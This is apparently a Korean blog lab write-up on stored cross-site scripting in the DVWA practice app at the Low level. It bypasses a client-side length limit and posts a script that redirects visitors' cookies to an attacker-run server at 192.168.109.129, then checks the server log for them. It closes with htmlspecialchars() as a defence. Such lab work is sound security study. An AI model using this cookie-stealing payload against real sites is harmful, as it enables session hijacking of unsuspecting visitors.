WEB hacking/DVWA

[DVWA] - Stored Cross Site Scripting (XSS) Low 단계

Roronoa 2022. 10. 13. 01:22
반응형

Stored Cross Site Scripting (XSS)

[그림 1] xss(stored) 페이지

방명록을 작성하기전에 공격자 웹서버 apache서버를 구동하고 접근 로그를 모니터링 한다.

 

[그림 2] 아파치 서버 구동 후 접근 로그 모니터링

 

[그림 3] 메시지 입력 제한

message에 스크립트를 삽입하려는데 글자 수가 제한되어있다. 하지만 이 제한은 클라이언트 측에서 검사하도록 되어 있기 때문에 쉽게 우회가 가능하다.

 

[그림 4] 입력값 우회

maxlength가 50으로 제한되어 있다. 우리는 넉넉하게 500으로 값을 수정하고 스크립트를 입력하겠다.

 

<script>documeㅜt.location='http://192.168.109.129/cookie?'+document.cookie</script>

[그림 5] 스크립트 작성

위와 같이 스크립트를 작성하고 방명록을 등록하겠다.

글을 저장하는 순간 다음과 같이 스크립트가 실행된다.

 

[그림 6] 스크립트 실행 화면

이 페이지의 경우 방명록에 글을 저장하는 순간 글의 내용을 다시 표시해주기 때문에, 리플렉티드 크로스 사이트 스크립팅 취약점과 같이 글을 저장할 때 스크립트가 실행된다.

로그파일을 확인해보자.

 

[그림 7] 로그 파일 확인

로그 파일을 확인해 보면 사용자의 ip주소와 쿠키 정보가 담긴 요청 기록이 새롭게 생겼다.

 

스토어드 크로스 사이트 스크립트는 방명록을 보는 모든 사용자가 공격에 당할 수 있기 때문에 매우 위험하다.!!

 

크로스 사이트 스크립팅 공격 대응 방안

크로스사이트 스크립팅 공격에 대응하기 위해서는 < , > 와 같은 특수문자들을 코드로 실행되지 않도록 해야한다.

htmlspecialchars()함수를 이용하여 &, ", ', <, > 와 같은 특수문자들을 HTML 엔티티로 변환하면 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않게 된다.

반응형